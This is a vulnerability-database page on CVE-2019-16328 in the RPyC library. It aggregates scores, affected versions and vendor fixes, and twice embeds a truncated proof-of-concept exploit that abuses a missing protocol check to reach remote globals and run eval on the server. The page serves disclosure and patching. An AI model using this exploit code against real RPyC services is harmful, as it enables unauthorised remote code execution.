Every CVE Search/ Get API key

CVE-2019-16328

Duplicate Advisory: Possible remote code execution via a remote procedure call

7.5 HighFix available

In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
High
Availability
None

Exploit likelihood

13.0%Up 11.7 points since Apr 14, 2021
90%50%10%1%

What each source reports

NVD Score used 7.5

In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.

Record
CVE-2019-16328
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
CVSS 2.0
5.0 MediumAV:N/AC:L/Au:N/C:N/I:P/A:N
Weakness
CWE-1321
Updated
2026-11-02
CVE List No score

In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.

Record
CVE-2019-16328
Updated
2026-11-02
EUVDEUVD-2019-0126 No score

In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.

Record
EUVD-2019-0126
Updated
2026-11-03
GitHub AdvisoriesGHSA-pj4g-4488-wmxm 8.5

Dynamic modification of RPyC service due to missing security check

Impact

Version 4.1.0 of RPyC has a vulnerability that affects custom RPyC services making it susceptible to authenticated remote attacks.

Patches

Git commits between September 2018 and October 2019 and version 4.1.0 are vulnerable. Use a version of RPyC that is not affected.

Workarounds

The commit d818ecc83a92548994db75a0e9c419c7bce680d6 could be used as a patch to add the missing access check.

References

CVE-2019-16328 RPyC Security Documentation

For more information

If you have any questions or comments about this advisory:

Proof of Concept

import logging
import rpyc
import tempfile
from subprocess import Popen, PIPE
import unittest


PORT = 18861
SERVER_SCRIPT = f"""#!/usr/bin/env python
import rpyc
from rpyc.utils.server import ThreadedServer, ThreadPoolServer
from rpyc import SlaveService
import rpyc


class Foe(object):
    foo = "bar"


class Fee(rpyc.Service):
    exposed_Fie = Foe

    def exposed_nop(self):
        return


if __name__ == "__main__":
    server = ThreadedServer(Fee, port={PORT}, auto_register=False)
    thd = server.start()
"""


def setattr_orig(target, attrname, codeobj):
    setattr(target, attrname, codeobj)


def myeval(self=None, cmd="__import__('sys')"):
    return eval(cmd)


def get_code(obj_codetype, func, filename=None, name=None):
    func_code = func.__code__
    arg_names = ['co_argcount', 'co_posonlyargcount', 'co_kwonlyargcount', 'co_nlocals', 'co_stacksize', 'co_flags',
                 'co_code', 'co_consts', 'co_names', 'co_varnames', 'co_filename', 'co_name', 'co_firstlineno',
                 'co_lnotab', 'co_freevars', 'co_cellvars']

    codetype_args = [getattr(func_code, n) for n in arg_names]
    if filename:
        codetype_args[arg_names.index('co_filename')] = filename
    if name:
        codetype_args[arg_names.index('co_name')] = name
    mycode = obj_codetype(*codetype_args)
    return mycode


def _vercmp_gt(ver1, ver2):
    ver1_gt_ver2 = False
    for i, v1 in enumerate(ver1):
        v2 = ver2[i]
        if v1 > v2:
            ver1_gt_ver2 = True
            break
        elif v1 == v2:
            continue
        else:  # v1 < v2
            break
    return ver1_gt_ver2


@unittest.skipIf(not _vercmp_gt(rpyc.__version__, (3, 4, 4)), "unaffected version")
class Test_InfoDisclosure_Service(unittest.TestCase):

    @classmethod
    def setUpClass(cls):

        cls.logger = logging.getLogger('rpyc')
        cls.logger.setLevel(logging.DEBUG)  # NOTSET only traverses until another level is found, so DEBUG is preferred
        cls.hscript = tempfile.NamedTemporaryFile()
        cls.hscript.write(SERVER_SCRIPT.encode())
        cls.hscript.flush()
        while cls.hscript.file.tell() != len(SERVER_SCRIPT):
            pass
        cls.server = Popen(["python", cls.hscript.name], stdout=PIPE, stderr=PIPE, text=True)
        cls.conn = rpyc.connect("localhost", PORT)

    @classmethod
    def tearDownClass(cls):
        cls.conn.close()
        cls.logger.info(cls.server.stdout.read())
        cls.logger.info(cls.server.stderr.read())
        cls.server.kill()
        cls.hscript.close()

    def netref_getattr(self, netref, attrname):
        # PoC CWE-358: abuse __cmp__ function that was missing a security check
        handler = rpyc.core.consts.HANDLE_CMP
        return self.conn.sync_request(handler, netref, attrname, '__getattribute__')

    def test_1_modify_nop(self):
        # create netrefs for builtins and globals that will be used to construct on remote
        remote_svc_proto = self.netref_getattr(self.conn.root, '_protocol')
        remote_dispatch = self.netref_getattr(remote_svc_proto, '_dispatch_request')
        remote_class_globals = self.netref_getattr(remote_dispatch, '__globals__')
        remote_modules =…
Record
GHSA-pj4g-4488-wmxm
CVSS 3.1
8.5 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
Weakness
CWE-285, CWE-1321
Updated
2026-11-02
GitHub AdvisoriesGHSA-9ggp-4jpr-7ppj No score

Duplicate Advisory: Possible remote code execution via a remote procedure call

Withdrawn: duplicate of GHSA-pj4g-4488-wmxm

Original Description

In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.

Record
GHSA-9ggp-4jpr-7ppj
Updated
2026-11-02
OSV 7.5

In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.

Record
CVE-2019-16328
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Updated
2026-11-02
Show 9 moreShow less
OSVGHSA-pj4g-4488-wmxm 8.5

Dynamic modification of RPyC service due to missing security check

Impact

Version 4.1.0 of RPyC has a vulnerability that affects custom RPyC services making it susceptible to authenticated remote attacks.

Patches

Git commits between September 2018 and October 2019 and version 4.1.0 are vulnerable. Use a version of RPyC that is not affected.

Workarounds

The commit d818ecc83a92548994db75a0e9c419c7bce680d6 could be used as a patch to add the missing access check.

References

CVE-2019-16328 RPyC Security Documentation

For more information

If you have any questions or comments about this advisory:

Proof of Concept

import logging
import rpyc
import tempfile
from subprocess import Popen, PIPE
import unittest


PORT = 18861
SERVER_SCRIPT = f"""#!/usr/bin/env python
import rpyc
from rpyc.utils.server import ThreadedServer, ThreadPoolServer
from rpyc import SlaveService
import rpyc


class Foe(object):
    foo = "bar"


class Fee(rpyc.Service):
    exposed_Fie = Foe

    def exposed_nop(self):
        return


if __name__ == "__main__":
    server = ThreadedServer(Fee, port={PORT}, auto_register=False)
    thd = server.start()
"""


def setattr_orig(target, attrname, codeobj):
    setattr(target, attrname, codeobj)


def myeval(self=None, cmd="__import__('sys')"):
    return eval(cmd)


def get_code(obj_codetype, func, filename=None, name=None):
    func_code = func.__code__
    arg_names = ['co_argcount', 'co_posonlyargcount', 'co_kwonlyargcount', 'co_nlocals', 'co_stacksize', 'co_flags',
                 'co_code', 'co_consts', 'co_names', 'co_varnames', 'co_filename', 'co_name', 'co_firstlineno',
                 'co_lnotab', 'co_freevars', 'co_cellvars']

    codetype_args = [getattr(func_code, n) for n in arg_names]
    if filename:
        codetype_args[arg_names.index('co_filename')] = filename
    if name:
        codetype_args[arg_names.index('co_name')] = name
    mycode = obj_codetype(*codetype_args)
    return mycode


def _vercmp_gt(ver1, ver2):
    ver1_gt_ver2 = False
    for i, v1 in enumerate(ver1):
        v2 = ver2[i]
        if v1 > v2:
            ver1_gt_ver2 = True
            break
        elif v1 == v2:
            continue
        else:  # v1 < v2
            break
    return ver1_gt_ver2


@unittest.skipIf(not _vercmp_gt(rpyc.__version__, (3, 4, 4)), "unaffected version")
class Test_InfoDisclosure_Service(unittest.TestCase):

    @classmethod
    def setUpClass(cls):

        cls.logger = logging.getLogger('rpyc')
        cls.logger.setLevel(logging.DEBUG)  # NOTSET only traverses until another level is found, so DEBUG is preferred
        cls.hscript = tempfile.NamedTemporaryFile()
        cls.hscript.write(SERVER_SCRIPT.encode())
        cls.hscript.flush()
        while cls.hscript.file.tell() != len(SERVER_SCRIPT):
            pass
        cls.server = Popen(["python", cls.hscript.name], stdout=PIPE, stderr=PIPE, text=True)
        cls.conn = rpyc.connect("localhost", PORT)

    @classmethod
    def tearDownClass(cls):
        cls.conn.close()
        cls.logger.info(cls.server.stdout.read())
        cls.logger.info(cls.server.stderr.read())
        cls.server.kill()
        cls.hscript.close()

    def netref_getattr(self, netref, attrname):
        # PoC CWE-358: abuse __cmp__ function that was missing a security check
        handler = rpyc.core.consts.HANDLE_CMP
        return self.conn.sync_request(handler, netref, attrname, '__getattribute__')

    def test_1_modify_nop(self):
        # create netrefs for builtins and globals that will be used to construct on remote
        remote_svc_proto = self.netref_getattr(self.conn.root, '_protocol')
        remote_dispatch = self.netref_getattr(remote_svc_proto, '_dispatch_request')
        remote_class_globals = self.netref_getattr(remote_dispatch, '__globals__')
        remote_modules =…
Record
GHSA-pj4g-4488-wmxm
CVSS 3.1
8.5 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
Weakness
CWE-1321, CWE-285
Updated
2026-11-02
OSVUBUNTU-CVE-2019-16328 7.5

In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.

Record
UBUNTU-CVE-2019-16328
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Updated
2026-11-02
OSVGHSA-9ggp-4jpr-7ppj No score

Duplicate Advisory: Possible remote code execution via a remote procedure call

Withdrawn: duplicate of GHSA-pj4g-4488-wmxm

Original Description

In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.

Record
GHSA-9ggp-4jpr-7ppj
Updated
2026-11-02
OSVopenSUSE-SU-2020:0685-1 No score

Security update for python-rpyc

This update for python-rpyc to 4.1.5 fixes the following issues:

Security issue fixed:

  • CVE-2019-16328: Fixed a missing protocol security check that could have led to code execution (boo#1152987).
Record
openSUSE-SU-2020:0685-1
Updated
2026-11-02
OSVopenSUSE-SU-2020:0763-1 No score

Security update for python-rpyc

This update for python-rpyc to 4.1.5 fixes the following issues:

Security issue fixed:

  • CVE-2019-16328: Fixed a missing protocol security check that could have led to code execution (boo#1152987).

This update was imported from the openSUSE:Leap:15.1:Update update project.

Record
openSUSE-SU-2020:0763-1
Updated
2026-11-02
OSVopenSUSE-SU-2024:11268-1 No score

python36-rpyc-4.1.5-2.7 on GA media

These are all security issues fixed in the python36-rpyc-4.1.5-2.7 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2024:11268-1
Updated
2026-11-02
OSVopenSUSE-SU-2024:14162-1 No score

python310-rpyc-6.0.0-1.2 on GA media

These are all security issues fixed in the python310-rpyc-6.0.0-1.2 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2024:14162-1
Updated
2026-11-02
OSVopenSUSE-SU-2026:12040-1 No score

python313-rpyc-6.0.2-1.5 on GA media

These are all security issues fixed in the python313-rpyc-6.0.2-1.5 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2026:12040-1
Updated
2026-11-02
OSVPYSEC-2019-118 No score

In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.

Record
PYSEC-2019-118
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
rpyc
PyPI
4.1.0 to 4.1.0
4.1.1
rpyc
PyPI
4.1.0 up to 4.1.1
4.1.1
rpyc
PyPI
4.1.0 up to 4.1.2, plus listed versions
4.1.1
4.1.2
python-rpyc
openSUSE:Leap 15.1
before 4.1.5-lp151.3.3.1
4.1.5-lp151.3.3.1
python-rpyc-test
openSUSE:Leap 15.1
before 4.1.5-lp151.3.3.1
4.1.5-lp151.3.3.1
python-rpyc
SUSE:Package Hub 15 SP1
before 4.1.5-bp151.2.3.1
4.1.5-bp151.2.3.1
python-rpyc-test
SUSE:Package Hub 15 SP1
before 4.1.5-bp151.2.3.1
4.1.5-bp151.2.3.1
python-rpyc
openSUSE:Tumbleweed
before 6.0.0-1.2
6.0.0-1.2
python-rpyc
openSUSE:Tumbleweed
From an advisory covering 2 CVEs
before 6.0.2-1.5
6.0.2-1.5

Public exploits

Links only. Every CVE stores no exploit code.

Public exploits
SourceLinkDate
MetasploitRPyC 4.1.0 through 4.1.1 Remote Command Execution2023-02-19

History

History
RecordedChangedSources
affected, facts
affected
aliasesEUVD
first indexedCVE List, GitHub Advisories, Metasploit, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2019-16328 is a high vulnerability (CVSS 7.5) in Rpyc Project Rpyc, published October 3, 2019. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 13.0%, the 96th percentile. Fixed in rpyc 4.1.1.

References

Show 11 moreShow less
This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open